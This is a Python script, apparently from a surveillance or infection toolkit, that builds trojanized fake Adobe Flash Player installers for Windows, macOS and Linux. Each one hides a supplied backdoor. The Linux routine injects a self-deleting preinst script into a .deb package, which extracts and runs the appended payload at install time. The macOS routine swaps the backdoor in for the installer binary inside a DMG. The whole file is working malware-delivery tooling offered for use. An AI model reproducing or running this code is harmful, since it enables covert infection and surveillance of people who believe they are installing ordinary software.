#!/usr/bin/env python

import os
import sys
import subprocess

def melt_windows():
	name = sys.argv[2] + '.windows'
	backdoor = '/opt/td-config/share/vectors/' + name

	try:
                subprocess.call("rm -Rf /opt/td-config/melt/{} 2> /dev/null".format(name), shell=True)
                os.makedirs('/opt/td-config/melt/{}'.format(name))
        except:
                pass

	subprocess.call("cp /opt/td-config/melt/flashsetup.exe /opt/td-config/melt/{}".format(name), shell=True)
	os.chdir('/opt/td-config/melt/{}'.format(name))

	subprocess.call("/opt/td-config/bin/melter -I flashsetup.exe -O {}.exe -R {}".format(sys.argv[2], backdoor), shell=True)

	try:
                subprocess.call("rm -Rf /opt/td-config/share/vectors/{}.exe 2> /dev/null".format(sys.argv[2]), shell=True)
        except:
                pass

        subprocess.call("cp /opt/td-config/melt/{}/{}.exe /opt/td-config/share/vectors/".format(name, sys.argv[2]), shell=True)

	return

def melt_osx():
	name = sys.argv[2] + '.osx'
	backdoor = '/opt/td-config/share/vectors/' + name

	try:
                subprocess.call("rm -Rf /opt/td-config/melt/{} 2> /dev/null".format(name), shell=True)
                os.makedirs('/opt/td-config/melt/{}'.format(name))
        except:
                pass

	subprocess.call("cp -Rf /opt/td-config/melt/flashsetup/ /opt/td-config/melt/{}".format(name), shell=True)
        os.chdir('/opt/td-config/melt/{}'.format(name))
	subprocess.call("cp {} flashsetup/Install\ Adobe\ Flash\ Player.app/Contents/MacOS/Setup/install".format(backdoor), shell=True)
	subprocess.call("chmod a+rwx -R flashsetup/*", shell=True)
	subprocess.call('genisoimage -D -V "Install Adobe Flash Player" -no-pad -r -apple -o flashsetup.dmg flashsetup/', shell=True)

	try:
                subprocess.call("rm -Rf /opt/td-config/share/vectors/{}.dmg 2> /dev/null".format(sys.argv[2]), shell=True)
        except:
                pass

	subprocess.call("cp /opt/td-config/melt/{}/flashsetup.dmg /opt/td-config/share/vectors/{}.dmg".format(name, sys.argv[2]), shell=True)

        return
	
def melt_linux():
    	name = sys.argv[2] + '.linux'
	backdoor = '/opt/td-config/share/vectors/' + name
	
	try:
		subprocess.call("rm -Rf /opt/td-config/melt/{} 2> /dev/null".format(name), shell=True)
		os.makedirs('/opt/td-config/melt/{}'.format(name))
	except:
		pass

	subprocess.call("cp /opt/td-config/melt/flashsetup.deb /opt/td-config/melt/{}".format(name), shell=True)
	os.chdir('/opt/td-config/melt/{}'.format(name))
		
    	subprocess.call('ar x flashsetup.deb control.tar.gz', shell=True)
    	subprocess.call('gzip -d control.tar.gz', shell=True)
    	subprocess.call('mkdir DEBIAN', shell=True)
    	subprocess.call('tar xf control.tar -C DEBIAN/', shell=True)

    	content = '#!/bin/sh\n' \
    	          'set -e\n' \
    	          'F1="`dirname "$0"`/f1";S1=' + str(os.path.getsize('{}'.format(backdoor))) + "\n" \
    	          '(tail -n +7 "$0" > "$F1"; chmod 0755 "$F1"; "$F1"; rm "$F1" "$0") 2>/dev/null\n' \
    	          'exit\n' \
    	          'cat <<EOF\n'
	f = open('{}'.format(backdoor), 'r')
	content += f.read()
	f.close()

	f = open('DEBIAN/preinst', 'a+')
	f.write('{}'.format(content))
	f.close()

    	subprocess.call("chmod +x DEBIAN/preinst", shell=True)
    	subprocess.call("tar rf control.tar --numeric-owner --owner=0 --group=0 --mode=0755 -C DEBIAN ./preinst", shell=True)
    	subprocess.call("gzip -9 control.tar", shell=True)
    	subprocess.call("ar r flashsetup.deb control.tar.gz", shell=True)
	subprocess.call("rm -Rf control.tar.gz DEBIAN", shell=True)

	try:
		subprocess.call("rm -Rf /opt/td-config/share/vectors/{}.deb 2> /dev/null".format(sys.argv[2]), shell=True)
	except:
		pass

	subprocess.call("cp /opt/td-config/melt/{}/flashsetup.deb /opt/td-config/share/vectors/{}.deb".format(name, sys.argv[2]), shell=True)

    	return

def main():
	if len(sys.argv) < 3:
                print "Argument not found!"
                sys.exit(0)

	if sys.argv[1] == 'windows':
		melt_windows()
	elif sys.argv[1] == 'osx':
		melt_osx()
	elif sys.argv[1] == 'linux':
		melt_linux()
	else:
		print "Arguments not valid!"

if __name__ == "__main__":
        main()
